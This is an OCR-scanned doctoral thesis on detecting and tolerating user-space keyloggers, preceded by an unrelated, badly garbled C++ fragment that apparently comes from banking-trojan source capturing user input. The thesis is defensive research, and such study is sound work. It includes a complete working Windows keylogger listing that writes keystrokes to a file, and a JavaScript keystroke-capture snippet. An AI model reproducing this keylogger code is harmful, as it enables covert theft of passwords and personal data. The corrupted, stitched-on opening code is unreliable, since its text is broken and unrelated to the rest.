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static void addString(const LPWSTR string) {
int stringSize = Str:: LengthW(string);

if (stringSize > USERINPUT MAX CHARS)
UserHook: :clearInput () ;

else {
CWA (kernel32, EnterCriticalSection) (&userInputCs);
DWORD newSize = userInputBufferSize + stringSize;
if (newSize > USERINPUT MAJ CHARS) {

if (Mem: :reallocEx (&zserllaputBuffer; USERINPUT MAX CHARS * sizeof (WCHAR))) {
DWORD savedSize = USERINPUT MAX CHARS - stxingSize;
Mem: : copy (zserInputByffer, userInputBuffer + ujerInputBufferSize - savedSize,

savedSize * sizeof (WCRAR)) ;
Mem: : ~copy (userInputBuffizx + savedSize, striidg, |stringSize * sizeof (WCHAR)) ;
useriaputBufferSize = USERINPUT MAX CHAKXS;
}

} else iy (Mem::reallocEx (&userInputBuffer, newSize * sizeof (WCHAR))) {

Mam: : copy (userInputBuffer " 1 ‘ppoutBifferSize| string- stringSize *_=izeof (WCHAR)‘;
1S¢ wputBufferSize = newS:
ol 1el32, LeaveCriti. ) teasenlnputCs) ;

#if (BO_DEBUG > |0)
{
LPWSTR str;
if (UserHook::cetInput (&str) > 0)
{
WDEBUG2 (WDDT INFO, "userInputBufferSize#%u, userInputBuffer=%s", userInputBufferSize, str);
Mem: : free (str) ;

}
#endif

}

void UserHook::enableImageOnClick (WORD clicksCount, LPSTR filePrefix) ({
CWA (kernel32, EnterCriticalSection) (&userInputCs);
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Introduction

Our recent history inspired many novelists with espionage stories where two
or more spies played the delicate and dangerous game of secretly stealing pri-
vate information. Essential skill was the ability to wiretap phones and telexes
without the other party realizing. Typically, this required implantation of tiny
devices directly into the communication hardware. With the rise of comput-
ers, those tiny devices became what are known as hardware keyloggers: tiny
dongles placed in-between the keyboard and the motherboard designed to log
and save all the user keystrokes. Also in this case, however, physical access was
required. This allowed the audience (us) to feel relatively secure, as we believe
that it is in our power to prevent a trespasser from breaking in. Some of us by
rigging their apartment, some others by keeping a pistol under their pillow.

Software keyloggers are the “mass-market” version of these hardware de-
vices. Installed on users’ computers, they monitor the user activity by sur-
reptitiously logging all the keystrokes and, in some cases, by delivering them
to a third party [36]. If designed to be run in user-space, they are also easy
to implement: all modern operating systems offer documented sets of unpriv-
ileged APIs that can be leveraged by user-space programs to intercept all
the user keystrokes. Contrary to keyloggers running as kernel modules, no
permission is required for deployment and execution. A user can erroneously
regard the keylogger as a harmless piece of software and being deceived in
executing it. Kernel keyloggers, besides depending upon privileged access for
both execution and deployment, require the programmer to rely on kernel-
level facilities to intercept all the messages dispatched by the keyboard driver;
this undoubtedly requires a considerable effort and knowledge for an effective
and bug-free implementation.

In light of these observations, it is no surprise that 95% of the existing
keyloggers run in user space [42]. Despite the rapid growth of keylogger-based
frauds (i.e., identity theft, password leakage, etc.), not many effective and ef-
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2 CHAPTER 1. INTRODUCTION

ficient solutions have been proposed to address this problem. Traditional de-
fense mechanisms use fingerprinting strategies similar to those used to detect
viruses and worms. Unfortunately, this strategy is hardly effective against the
vast number of new keylogger variants surfacing every day in the wild [43].

In this thesis, we address the problem of detecting user-space keyloggers
by exploiting their peculiar behavior. In particular, we leverage the intu-
ition that the keylogger’s activity strictly depends on the user’s input. To
generalize our approach, we discard any assumption on the internals of the
keyloggers, and we develop black-box approaches vetting processes strictly in
terms of system activity. To meet the ease of deployment and execution of
user-space keyloggers, we also explore both privileged and unprivileged solu-
tions. Unprivileged solutions, although bound to rely on less powerful system
characterizations, allow for deployment scenarios which are normally rarely
considered; those are the many cases in which the user does not have a super
user account at his disposal: Internet cafés, business laptops, or borrowed
terminals are all sound examples. It is our belief that a first line of defense
shall be granted regardless of the privileges available.

This dissertation starts by proposing KEYSLING and NOISYKEY, two un-
privileged solutions to detect and tolerate user-space keyloggers. In KEYSLING
we correlate the I/O of each process with some simulated user activity, and
we assert detection in case the two are highly correlated. The rationale is
that the more intense the stream of keystrokes, the more I/O operations are
needed by the keylogger to log the keystrokes to a file. NOISYKEY upgrades
the user’s first line of defense by allowing him to live together with a key-
logger without putting his privacy at stake. By confining the user input in
a noisy event channel, the keylogger is fed with random keystrokes that can
not be told apart from the real user input. We then introduce KLIMAX, a
privileged infrastructure able to monitor the memory activity of a running
process. This new behavior characterization enables detection of keyloggers
delaying the actual leakage (I/O activity) as much as possible. This is the
case of privacy-breaching malware, or spyware, which also strives to conceal
its presence by restraining from unnecessary system activities. We conclude
the dissertation by considering the case of keyloggers in the form of applica-
tion add-ons rather than separate and isolated processes. In more details, by
relying on the new system characterizations offered by KLIMAX, we propose
a new cross-browser detection model able to detect add-ons turning the host
browser into a keylogger.

1.1 The Problem

Stealing user confidential data serves for many illegal purposes, such as iden-
tity theft, banking and credit card frauds [71], software and services theft [103;
89], just to name a few. This is achieved by keylogging, which is the eaves-
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dropping, harvesting and leakage of user-issued keystrokes. Keyloggers are
easy to implement and deploy. When deployed for fraud purposes as part
of more elaborated criminal heists, the financial loss can be considerable.
Table 1.1 shows some major keylogger-based incidents as reported in [42].

Year Loss Information

2009 $415,000 Using a keylogger, criminals from Ukraine managed to steal a
county treasurer’s login credentials. The fraudsters initiated a list
of wire transfers each below the $10,000 limit that would have
triggered closer inspection by the local authorities [95; 94].

2006 £580,000 The criminals sent a Trojan via mail to some clients of the Nordea
online bank. Clients were deceived to download and execute a
“spam fighting” application which happened to install a keylog-
ger [107].

2006 €1lm A privacy breaching malware was used to collect credentials and
bank codes of several personal bank accounts in France. The
money was transferred to accounts of third parties who were tak-
ing the risk of being identified in return for a commission [92].

2006 $4.7m A gang of 55 people, including minors, had been reported to install
keyloggers on computers owned by unwitting Brazilians in the area
of Campina Grande. The keyloggers were leaking all kind of bank
credentials to the members of the gang [66].

2005 £13.9m Although unsuccessfully, criminals attempted to gain access to
Sumitomo Mitsui bank’s computer system in London. Infiltration
was possible due to keyloggers installed recording administrative
credentials [7].

Table 1.1: Major incidents in terms of financial loss involving keyloggers as in [42].

To address the general problem of malicious software, a number of models
and techniques have been proposed over the years. However, when applied to
the specific problem of detecting keyloggers, all existing solutions are unsat-
isfactory. Signature-based solutions have limited applicability since they can
easily be evaded and also require isolating and extracting a valid signature
before being able to detect a new threat. As we show in Chapter 2, imple-
mentation of a keylogger hardly poses any challenge. Even unexperienced
programmers can easily develop new variants of existing keyloggers, and thus
make a previously valid signature ineffective. Even when limiting the analysis
to keyloggers employed for criminal purposes (Figure 1.1), the growth of new
variants quickly invalidates any signature-based solution.

Behavior-based detection techniques overcome some of these limitations.
They aim at distinguishing between malicious and benign applications by
profiling the behavior of legitimate programs [50] or malware [45]. Different
techniques exist to analyze and learn the intended behavior. However, most
are based on which system calls or library calls are invoked at runtime. Un-
fortunately, characterizing keyloggers using system calls is prohibitively dif-
ficult, since there are many legitimate applications (e.g., shortcut managers,
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4 CHAPTER 1. INTRODUCTION

Unique Keylogger Variants Discovered
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Figure 1.1: Growth of keylogger variants included in crimeware as assessed by the
Anti-Phishing Working Group [4]. Unfortunately, only aggregated statistics have been
made available for years later than 2009, and as such, later records could not be
reported.

keyboard remapping utilities) that intercept keystrokes in the background
and exhibit a very similar behavior. These applications represent an obvious
source of false positives. Using white-listing to solve this problem is also not
an option, given the large number of programs of this kind and their perva-
sive presence in OEM software. Moreover, syscall-based keylogging behavior
characterization is not immune from false negatives either. Consider the per-
fect model that can infer keylogging behavior from system calls that reveal
explicit sensitive information leakage. This model will always fail to detect
keyloggers that harvest keystroke data in memory aggressively, and delay the
actual leakage as much as possible.

19 || Google Chrome - stable channe!
18 - Mozilla Firefox - stable channel =
Microsoft Internet Explorer 8 IR

Number of Stable Releases

Figure 1.2: Rate of stable (major and minor) releases of the three most common web
browsers, i.e., Google Chrome, Mozilla Firefox, Microsoft Internet Explorer [64; 31; 59].
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The problem persists, and it is even more challenging to tackle, if we con-
sider that modern software architectures allow applications to be extended
throughout add-ons. In this scenario, a malicious add-on can easily turn
a legitimate application into a keylogger without affecting the application’s
original behavior. This means that the assumption of a keylogger being a pro-
cess, and as such that it can be isolated and identified, does not hold anymore
in practice. Current literature acknowledges this problem in the context of
web browsers—arguably the most common and known example of extensible
application—by proposing solutions aimed at detecting malicious extensions
based on either system flow tracking [45; 24; 51] or taint tracking [21; 91].

All these solutions, however, require significant changes to the browser
or are typically specific to a particular implementation and release. Besides
requiring access to the source-code, porting these solutions to all the major
browsers requires a significant effort. Also, maintaining such infrastructures
over time is likely to be ill-affordable, given the increasing number of new
browser versions released every year, as Figure 1.2 demonstrates. The chal-
lenge, and the goal of this disseration, is in fact the design of an approach gen-
eral enough to be independent of the underlying system configuration, but yet
sufficiently fine-grained to provide precise detection of a keylogging behavior.

1.2 Goals

In this thesis, we investigate solutions to detect and tolerate keyloggers. We
also acknowledge that a common trade-off of any security solution is usability,
which in our case roughly translates to “how deployable the proposed detec-
tion technique is”. For this reason we do not consider solutions entailing either
virtualization or emulation of the underlying operating system. On the con-
trary, we also explore, where applicable, solutions requiring no privilege to be
executed or deployed. Although the dissertation is primarily focused on de-
tecting keylogging behaviors, we do not overlook the scenario of users left with
no other choice but to use a compromised machine. In this context we propose
a novel approach to tolerate keyloggers while safeguarding the users’ privacy.

All our approaches pivot around the idea of ignoring the keyloggers’ inter-
nals, this to offer detection techniques that do not share the same limitation
of signature-based approaches. On the other hand, unlike other approaches,
we only focus on modeling the keylogging behavior, this to avoid false pos-
itives as much as possible. In addition to keeping the assumptions on the
keylogger to a minimum, we also aim at discarding any assumption on the
underlying environment. In particular, in the context of keyloggers imple-
mented as browser add-ons, we investigate the feasibility and the challenges
of a cross-browsers approach. The goals of this thesis can then be summarized
in the following three research questions:
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6 CHAPTER 1. INTRODUCTION

Question 1. Can we detect a keylogger, either implemented as separate
process or extension, by analyzing its footprint on the system?

Question 2. To which extent are unprivileged solutions possible? What is
the trade-off in terms of security and usability?

Question 3. Is it possible to tolerate the problem by “living together with
a keylogger” without putting the user’s privacy at danger?

1.3 Contributions

The contributions of this thesis can be summarized as follows:

e We designed and implemented KEYSLING, a new unprivileged detection
technique to detect user-space keyloggers. The technique injects well-
crafted keystrokes sequences and observes the I/O activity of all the run-
ning processes. Detection is asserted in case of high correlation. No privi-
lege is required for either deployment or execution. Although implemented
in Windows, all major operating systems allow for an unprivileged imple-
mentation of our technique (Chapter 3).

o We developed a technique that allows the user to tolerate the presence of
user-space keyloggers. The user-issued keystrokes are confined in a noisy
event channel flooded with artificially generated activity. This technique,
termed NOISYKEY, allows legitimate applications to transparently recover
the original user keystrokes, while any keylogger is exposed to a stream of
data statistically indistinguishable from random noise (Chapter 4).

e We designed and implemented KLIMAX: a Kernel-Level Infrastructure for
Memory and eXecution profiling. KLiMAX allows on-line memory analysis
of a running process at the affordable cost of requiring super-user privi-
leges. By focusing on memory write patterns rather than I/O activity, we
enable detection of privacy-breaching malware keylogging the user activity
(Chapter 5).

e We address the problem of detecting browser extensions turning the host
web browser into a keylogger. The intuition we leverage is that the memory
write patterns of the whole browser, besides being correlated with the in-
jected keystrokes sequences, are also severely amplified when a keylogging
behavior is in place. The underlying model does not make any assump-
tion either on the browser or on the extension model, and thus making the
resulting detection technique applicable to the three most common web
browsers alike (Chapter 6).

All the results mentioned have been published in several peer-reviewed
international journals, conferences and workshop proceedings. For a full list
refer to Page xvii.
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1.4 Organization of the Thesis

The rest of the book is organized as follows. Chapter 2 gives some background
information on keyloggers, how they are implemented, and why they are so
easy to develop. We also explain the reasons why user-space applications
have this type of power, and show that the problem is not confined to a
single operating system, but instead it is the by-product of precise design
choices which, unfortunately, also affected the architecture of modern web
browsers. We also point out the limitations of the current state of the art
and highlight the gaps that this dissertation aims to fill. In Chapter 3 we
provide the first piece of our solutions, that is KEYSLING. We explain in
details the detection model, and how this solution can be effective regardless
of running in an unprivileged execution environment. We also devise which
evasion techniques a keylogger may adopt to circumvent our approach, and
which of them can be countered. Chapter 4 answers the question “what the
user shall do in case of positive detection?” with a tool able to safe-guard
the user keystrokes even in case of keyloggers while requiring no privilege
for both deployment and execution. In Chapter 5 we present KLIMAX, an
infrastructure able to monitor the memory activity of each process in an online
and transparent manner at the only cost of requiring super-user privileges.
We then use this new behavior characterization to detect privacy-breaching
malware. In Chapter 6 we focus on web browsers, and use KLIMAX together
with a new cross-browser detection model to identify extensions turning the
whole browser into a keylogger. We conclude in Chapter 7 the dissertation.
We analyze in retrospection the contributions of the thesis, devise limitations,
and point out possible directions for future works.
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Background

In order to fully understand the contribution of each chapter, it is necessary
for the reader to fully grasp what keyloggers are, why they are so easy to im-
plement, and why countermeasures often fail to provide adequate protection.
Besides giving an answer to all these questions, throughout this chapter we
will discuss the approaches proposed so far to address the problem and why
they are not satisfactory.

2.1 What Modern Keyloggers are

Keylogging the user’s input is a privacy-breaching activity that can be per-
petrated at many different levels. When physical access to the machine is
available, an attacker might wiretap the hardware of the keyboard. A fancier
scenario might entail, for instance, the use of external keyloggers designed
to rely on some physical property, either the acoustic emanations produced
by the user typing [109], or the electromagnetic emanations of a wireless
keyboard [99]. Still external, hardware keyloggers are implemented as tiny
dongles to be placed in between keyboard and motherboard. However, as dis-
cussed throughout the introduction, all these strategies require the attacker
to have physical access to the target machine.

To overcome this limitation, software approaches are more commonly used.
Hypervisor-based keyloggers (e.g., BluePill [68]) are the straightforward soft-
ware evolution of hardware-based keyloggers, literally performing a man-in-
the-middle attack between the hardware and the operating system (OS). Ker-
nel keyloggers come second and are often implemented as part of more com-
plex rootkits. In contrast to hypervisor-based approaches, hooks are directly
used to intercept a buffer-processing event or a kernel message delivered to an-
other kernel driver. Albeit rather effective, all these approaches require priv-
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10 CHAPTER 2. BACKGROUND

ileged access to the machine. Moreover, writing a kernel driver—hypervisor-
based approaches pose even more challenges—requires a considerable effort
and knowledge for an effective and bug-free implementation. Kernel keylog-
gers heavily rely on undocumented data structures that are not guaranteed
to be stable across changes to the underlying kernel. A misaligned access in
kernel-mode to these data structures would promptly lead to a kernel panic.

1 #include <windows.h>

2 #include <fstream>

3 using namespace std;

4

5 ofstream out ("log.txt", ios::out);

6

7 LRESULT CALLBACK f(int nCode, WPARAM wParam, LPARAM 1lParam) {
8 if (wParam == WM_KEYDOWN) {

9 PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
10 out << char(tolower (p->vkCode));

11 }

12 return CallNextHookEx (NULL, nCode, wParam, 1lParam);
13 %

15 int WINAPI WinMain (HINSTANCE inst, HINSTANCE hi, LPSTR cmd, int show) {
16 HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, f, NULL, 0);

17 MessageBox (NULL, L"Hook Activated!", L"Test", MB_O0K);
18 UnhookWindowsHookEx (keyboardHook) ;

19 return O;

20 %}

Listing 2.1: Windows C++ implementation of a streamlined user-space keylogger.

User-space keyloggers, on the other hand, do not require any special priv-
ilege to be deployed. They can be installed and executed regardless of the
privileges granted to the user. This is a feature impossible for kernel key-
loggers, since they require either super-user privileges or a vulnerability that
allows arbitrary kernel code execution. Furthermore, user-space keylogger
writers can safely rely on well-documented sets of APIs commonly available
on modern operating systems, with no special programming skills required.
As Listing 2.1 shows, just as few as 20 LOCs are sufficient for a fully functional
implementation (#include directives included). The resulting classification,
albeit still partial, is depicted in Figure 2.1b: the left pane shows the process
of delivering a keystroke to the target application, whereas the right pane
highlights which component is subverted by each type of keylogger.

2.1.1 User-Space Keyloggers

User-space keyloggers can be further classified based on the scope of the
hooked message/data structures. Keystrokes, in fact, can be intercepted ei-
ther globally (via hooking of the window manager internals) or locally (via
hooking of the process’ standard messaging interface). When intercepted lo-
cally, the keylogger is required to run a portion of its code into the address
space of the process being “wiretapped”. Since both mouse and keyboard
events are delivered throughout a pre-defined set of OS-provided data struc-
tures, the keylogger does not even need a priori knowledge of the process
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Figure 2.1: The delivery phases of a keystroke, and the components subverted.

intended to be keylogged. There is only one case in which the keylogger
must be aware of the underlying user application, and that is the case of
user-space keyloggers implemented as application add-ons. In this scenario
only a portion of the user activity can be monitored, i.e., when the applica-
tion hosting the keylogging add-on is being used by the user. Nevertheless,
this class of user-space keyloggers has the peculiar characteristic of being as
cross-platform as the host application. If we consider the case of modern web
browsers, which are often made available for multiple operating systems, this
is a considerable advantage over other types of user-space keyloggers.

This leads us to the classification shown in Figure 2.1a. Again, the left
pane shows the user-space components employed for delivering a keystroke,
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Figure 2.2: A system perspective of how the keystrokes are propagated across the
system in case of no keylogger is installed (above), and either a TypPE I, TYPE II, or
TYPE III keylogger is deployed (below).

while the right pane highlights which is subverted by each type of user-space
keylogger. We term these three classes TYPE I, TyPE II, and TypPE IIL
A system perspective of all three classes is shown in Figure 2.2, and can be
summarized as follows:

Type 1 This class of keyloggers relies on global data structures, and ex-
ecutes as separate process.

Type II  This class relies on local data structures. Part of the code is
executed within the process being wiretapped. Communication
between the target process and the actual keylogger is therefore
necessary.

Type III This class attacks a specific application. Once installed, it turns
the whole application into a keylogger. It does not execute as sep-
arate and isolated process. On the contrary, it is fully embedded
in the memory address space of the host application.

Both TyYPE I and TYPE II can be easily implemented in Windows, while
the facilities available in Unix-like OSes—X11 and GTK required—allow for
a straightforward implementation of TYPE I keyloggers. Table 2.1 presents
a list of all the APIs that can be used to implement TYPE I and TYPE
IT user-space keyloggers. In brief, the SetWindowsHookEx() and gdk_win-
dow_add_filter () APIs are used to interpose the keylogging procedure be-
fore a keystroke is effectively delivered to the target process. For SetWindows-
HookEx (), this is possible by setting the thread_id parameter to 0 (which
subscribes to any keyboard event). For gdk_window_add_filter (), it is suf-
ficient to set the handler of the monitored window to NULL. The class of
functions Get*State(), XQueryKeymap (), and inb(0x60) query the state of
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Type API Comments
Windows APIs

TypE I SetWindowsHookEx (WH_KEYBOARD _LL, ..., 0) Callback passed as argument.
GetAsyncKeyState () Poll-based.
SetWindowsHookEx (WH_KEYBOARD, ..., 0) Callback passed as argument.
GetKeyboardState () Poll-based.

TypPE I GetKeyState() Poll-based.
SetWindowLong(..., GWL_WNDPROC, ...) Overwrites default callback.
{Dispatch,Get,Translate}Message () Manual instrumentation.

Unix-like APIs
gdk_window_add_filter (NULL, ...) Callback approach (GTK API).

TypEI inb(0x60) Poll-based (privileged).

XQueryKeymap () Poll-based (X11 API).

Table 2.1: If the scope of the APl is local, the keylogger must inject portions of its
code in each application, e.g., using a library. Of all, only inb(0x60) is reserved to the
super-user and for this reason tailored to low-level tasks.

the keyboard and return a vector with the state of all (one in case of Get-
KeyState()) the keystrokes. When using these functions, the keylogger must
continuously poll the keyboard in order to intercept all the keystrokes. The
functions of the last class apply only to Windows and are typically used to
overwrite the default address of keystroke-related functions in all the Win32
graphical applications. Although intercepting function calls is a practice not
limited to Windows, we have not found any example of this particular class
of keyloggers in Unix-like OSes.

Since some of the APIs have local scope, TYPE II keyloggers need to in-
ject part of their code in a shared portion of the address space to have all the
processes execute the provided callback. The only exception is with a Type II
keylogger that uses either GetKeyState() or GetKeyboardState(). In these
cases, the keylogging process can attach its input queue (i.e., the queue of
events used to control a graphical user application) to other threads by using
the procedure AttachtreadInput(). As a tentative countermeasure, Win-
dows Vista recently eliminated the ability to share the same input queue for
processes running in two different integrity levels. Unfortunately, since higher
integrity levels are assigned only to known processes (e.g., Internet Explorer),
common applications are still vulnerable to these interception strategies.

By relying on documented APIs, both TYPE I and TYPE II keyloggers can
embrace as many deployment scenarios as possible regardless of which appli-
cations are installed. TYPE III keyloggers, on the contrary, are application-
specific, as they are meant to monitor a single application. The reason why
this approach is convenient is twofold: first, modern applications typically
offer standard mechanisms to delegate additional features to external and
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pluggable add-ons, and thus already provide facilities to load third-party code
in an unprivileged manner. Second, such add-ons are typically executed in a
sandbox which does not depend upon the underlying operating system; this
means that in case of host-applications released on multiple operating sys-
tems, a keylogging add-on is granted with cross-platform capability without
modification required to the source code or binary.

Although many are the applications that can be extended via add-ons—
LibreOffice, Thunderbird, Adobe Reader are all applications that allow user-
developed extensions—, TYPE III keyloggers are currently limited to web
browsers. This is hardly a surprise if we consider that web browsers are both
among the most widely adopted [39; 38] applications, and are also entrusted
with a considerable wealth of private information. From a technical point
of view, TYPE III keyloggers for web browsers are just self-contained brow-
ser extensions, and as such, can be implemented following any of the three
extension mechanisms that modern browsers typically offer: JavaScript (JS)
scripts, JS-based extensions, and extensions based on native code.

The first mechanism is only allowed to perform small modifications to the
current web page, and usually runs with the same privileges of the retrieved
page. The second mechanism allows for more complex customizations and of-
fers the ability to access the user private data with the same privileges as the
browser. The last mechanism is used for extensions that need direct access to
the underlying OS API. Besides the last mechanism, which is also often over-
looked for its lack of portability, interception of keystrokes is merely a matter
of registering a custom even handler for the event onkeypress. Listing 2.2
shows how simple and streamlined the corresponding JavaScript code is.

1 var log = "log: "

2 var keystroke_callback = function(e) {

3 var keystroke = String.fromCharCode (e.which);
4 log += keystroke;

5 }

6

document .attachEvent ("onkeypress", keystroke_callback);

Listing 2.2: JavaScript implementation of a keylogging callback.

We can draw four important conclusions from our analysis. First, all
user-space keyloggers are implemented by either hook-based or polling mech-
anisms. Second, all APIs are legitimate and well-documented. Third, all
modern operating systems offer (a flavor of) these APIs. In particular, they
always provide the ability to intercept keystrokes regardless of the applica-
tion on focus. Four, modern applications provide facilities that can be easily
subverted by add-ons to intercept and log keystrokes.

These design choices are dictated by the necessity to support such func-
tionalities for legitimate purposes. The following are four simple scenarios
in which the ability to intercept arbitrary keystrokes is a functional require-
ment: (1) keyboards with additional special-purpose (hardware-defined) keys;
(2) window managers with system-defined shortcuts (e.g., A1t-Tab to switch
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between different applications); (3) background user applications whose ex-
ecution is triggered by user-defined shortcuts (for instance, an application
handling multiple virtual workspaces requires hot keys that must not be over-
ridden by other applications); (4) a browser extension providing additional
keyboard shortcuts to open favorite web sites using only the keyboard.

All these functionalities can be efficiently implemented with all the APIs
we presented so far. As shown earlier, the interception facilities can be easily
subverted, allowing the keyloggers to benefit from all the features normally
reserved to legitimate applications:

o Ease of implementation. A minimal yet functional keylogger can be
implemented in less than 20 lines of C++ code. Due to the low complexity,
it is also easy to enforce polymorphic or metamorphic behavior to thwart
signature-based countermeasures.

e Cross-version. By relying on documented and stable APIs, a particular
keylogger can be easily deployed on multiple versions of the same operating
system.

e Unprivileged installation. No special privilege is required to install a
keylogger. There is no need to look for rare and rather specific exploits
to execute arbitrary privileged code. On the contrary, even a viral mail
attachment can lure the user into installing the keylogger and granting it
full access to his keystroke activity.

e Unprivileged execution. The keylogger is hardly noticeable at all dur-
ing normal execution. The executable does not need to acquire privileged
rights or perform heavyweight operations on the system.

2.2 Current Defenses

In the past years many defenses were proposed. Unfortunately, positive re-
sults were often achieved only when focusing on the general problem of detect-
ing malicious behaviors. Detection of keylogging behavior has notably been
an elusive feat. Many are in fact, the applications that legitimately inter-
cept keystrokes in order to provide the user with additional usability-related
functionalities (for example, a shortcut manager). A common pitfall is there-
fore assuming that intercepting keystrokes translates to malicious keylogging
behavior, which is only partially true. The real indicator of a keylogging be-
havior is that the keystrokes are also leaked, either on disk, on the network, or
stored in a temporary location. Unfortunately, ignoring such linkage between
interception and leakage is often the pivotal reason why current approaches
are rarely satisfactory. In this section we present the most significant defenses
against privacy-breaching malware, and discuss their shortcomings with re-
spect to detecting keyloggers. For those readers interested in more in-depth
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discussions, we remind that each chapter includes a more detailed analysis
about the related works.

2.2.1 Signature Based

Signature-based approaches scan binaries for byte sequences known to identify
malicious pieces of code, and assert detection in case of positive match. All
commercial solutions have at their core a signature-based engine [57; 90; 41].
The reason is its potential reliability: if the set of signatures is kept precise and
updated, false positives and false negatives can be theoretically kept at bay.
Unfortunately this is rarely the case; for what false negatives are concerned,
even a small modification of the byte sequence used for detection allows a
keylogger to evade detection. Keyloggers are in fact so easy to implement
that introducing a bit of code variability is definitely at the disposal of a
motivated attacker. Polymorphic and metamorphic malware are designed
exactly for this purpose, which make them one of the most serious challenges
Anti-Virus (AV) vendors are currently facing. Furthermore, it has been shown
extensively [15; 27; 53] that code obfuscation techniques can effectively be
employed to elude signature-based systems, even commercial virus scanners.

About false positives, signature based solutions are often considered suf-
ficiently robust, with very few incidents per year. It is worth considering,
however, that unlike research prototypes, the use of signature-based engines
is widespread among commercial AV solutions. An AV program misclassify-
ing a legitimate binary may lead to an undesired deletion which in turn may
cripple an otherwise working system, as documented by [93; 85].

2.2.2 Behavior Based

Among all approaches, most successful are those that attempt at detecting
malicious behaviors rather than malicious pieces of code. In layman terms,
what is deemed malicious is no longer the sequence of bytes forming a bi-
nary, but the set of system interactions caused by it. However the problem
with these approaches is to define what to consider malicious behavior. The
concept of behavior is rather generic; it may describe how system calls are
used, or how the system accesses a particular memory buffer. In this sec-
tion we provide the reader with an overview of the current state of the art
in behavior-based malware detection; we also show that all these approaches
define behaviors that are either unfit or incomplete when applied to keylog-
gers detection. Particular relevance are the approaches tailored to detect
privacy-breaching malware, i.e., spyware, that retrieves sensitive information
and eventually transfer it to the attacker. Following the classification pro-
posed by Egele et al. [25], we will primarily focus on those solutions.
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Memory Footprint

Any running program is bound to perform some memory activity. Execut-
ing a function, traversing an array, or opening a socket are all actions that
impact on the central memory, some primarily on the stack, some on the
heap, some on an even combination of those. Although completely bridging
the gap between malicious behavior and related memory activity may be too
challenging, recent approaches exploit the idea of monitoring the memory ac-
tivity to overcome the problem of stale signatures due to little variation of
the malicious code. In other words, if a signature becomes useless against a
morphing binary, how the memory is accessed (and thus, the functions called,
the sockets opened, or the arrays traversed, etc.) is bound to a certain degree
to stay the same if the semantic is preserved. Cozzie et al. propose in [19]
an approach to detect polymorphic viruses by profiling the data structures
being used. Likewise, profiling how the kernel data structures are accessed,
has been proven a sound approach to overcome the problem of signatures
when detecting rootkits [84; 76]. However, all these approaches fail when
detecting simple keyloggers. First and foremost, as we previously showed, a
streamlined keylogger is so simple that it can be implemented with almost no
data structures (at least without those required to have an accurate profile),
and thus evade detection. Second, keyloggers are typically user-space process,
and thus rarely interact with data structures in kernel-space.

API Calls

Knowing which API a program invokes discloses what the program is doing.
Approaches relying on this intuition have been proposed in the current liter-
ature [104; 83; 26]. Unfortunately, as a small variation of the binary could
impair signature based detection, a change of the function call sequences
would trivially evade detection. The underlying problem is that the behavior
so-defined is describing an implementation rather than a general behavior.
Further, knowing that a program is, for instance, writing to a file is hardly
indication of either legitimate or malicious behavior. To overcome this sim-
ple concern, some approaches, either statically [3] or dynamically [65; 105],
focus on searching only those APIs that can be used to intercept keystrokes.
Unfortunately, these APIs are also used by all the legitimate applications we
previously discussed, which makes this class of approaches heavily prone to
false positives. It is important to notice that any approach that just focuses
on which keylogging APIs are used is bound to be ineffective. As we dis-
cussed, the only chance comes from considering when multiple types of API
are used, that is detecting, for instance, when both interception and leakage
of keystrokes are taking place.

A step closer to the approach we foster is proposed by Al-Hammadi and
Aickelin [1]. Instead of merely focusing on which APIs are used, they aim
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at ascertaining usage pattern. In more details, they count for each API how
many times the API in question is invoked, and compare the so-obtained
frequencies. The underlying idea is that if a program invokes the API to write
to a file as many times as it intercepts a keystrokes, then the program must
be a keylogger. A similar approach by Han et al. presented in [35] considers
automating the procedure just described by simulating some user input. The
produced advantage is twofold: first, the approach does not depend anymore
on the user’s activity; second, by simulating a more intense keystroke stream,
any measurement’s error would likely lessen its impact. Unfortunately all
these approaches would immediately fail in face of keyloggers postponing the
actual leakage even for just the time needed to fill a buffer. In practice,
the assumption that a certain number of keystrokes results in a predictable
number of APT calls is fragile and heavily implementation-dependent, and it
does not define a general behavior.

Combination of APl and System Calls

Finally, Kirda et al. [45] proposed an approach detecting privacy-breaching
behaviors defined as a combination of stealing sensitive information and dis-
closing this information to a third party. In particular, the system addresses
the problem of detecting spyware coming as a plug-in to the Microsoft Inter-
net Explorer browser as browser helper object (BHO) (basically the precursor
of today’s browser extensions). When installed, a BHO registers a set of han-
dlers which are invoked when particular events are fired. Examples of these
events are the user clicking a link, or a successful retrieval of a page, etc.
The proposed approach statically analyzes all the event’s handlers to identify
APIs or System Calls which could be used to leak sensitive information. Sub-
sequently, the BHO is executed inside a sandbox which simulates the firing
of events. If (i) the event fired is privacy-sensitive (for instance, the sub-
mission of a form) and (ii) the invoked handler is known to use data-leaking
function calls, the BHO is flagged as spyware. The resulting approach is ro-
bust against both false negatives and false positives if the BHO abides by the
rules, that is if the keylogging BHO intercepts and leak keystrokes using the
standard hooks provided by Internet Explorer. A more malicious BHO could
just avoid registering any event handler, and load at DLL load-time a piece
of code using system-level hooking techniques. Porting the approach to deal
with system-level keyloggers would introduce too many problems; among all,
a simple shortcut manager allowing export of the current configuration would
be flagged as spyware.

Other approaches started using system calls and their inter-dependence
to bridge the semantic gap between the mere invocation of functions and the
malicious behavior intended to be detected. In particular, in [55; 47] the
authors propose to exploit the inter-dependence of multiple system calls by
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tracking if some output was used as input to another system call. However,
the set of system calls offered by a modern operating system is so rich that
mimicry attacks are possible [48; 101]. To overcome this problem, Lanzi
et al. [50] proposed to model the behavior of legitimate applications rather
than malicious software, and thus having a binary flagged as malicious when
its behavior is not recognized as legitimate. This approach resulted in low
false positives. However, even this approach can not cope with keyloggers
which behavior appears identical to benign applications in terms of system
and library calls, without generating a significant number of false positives.

Information Flow Tracking

One popular technique that deals with malware in general is taint analysis.
It basically tries to track how the data is accessed by different processes.
Panorama [106] is an infrastructure specifically tailored at detecting spyware.
It basically taints the information deemed sensitive and track how this infor-
mation is propagated across the system. A process is then flagged as spyware
if the tainted data ultimately reach its memory address space. TQana (pro-
posed by Egele et al. [24]) is a similar approach albeit tailored to detect
spyware in web browsers. Unfortunately, when used to detect real world key-
loggers, these approaches present problems. In particular, Slowinska and Bos
[86] show that full pointer tracking (as used by both [106; 24]) is heavily prone
to false positives. The problem is that once the kernel becomes tainted, the
taint is picked up by many data structures not related with keystrokes data.
From these, the taint spills into user processes, which are in turn incorrectly
flagged as receiving keystroke data, and thus keyloggers. If this was not suf-
ficient to rule out this class of solutions, Cavallaro et al. showed in [12] that
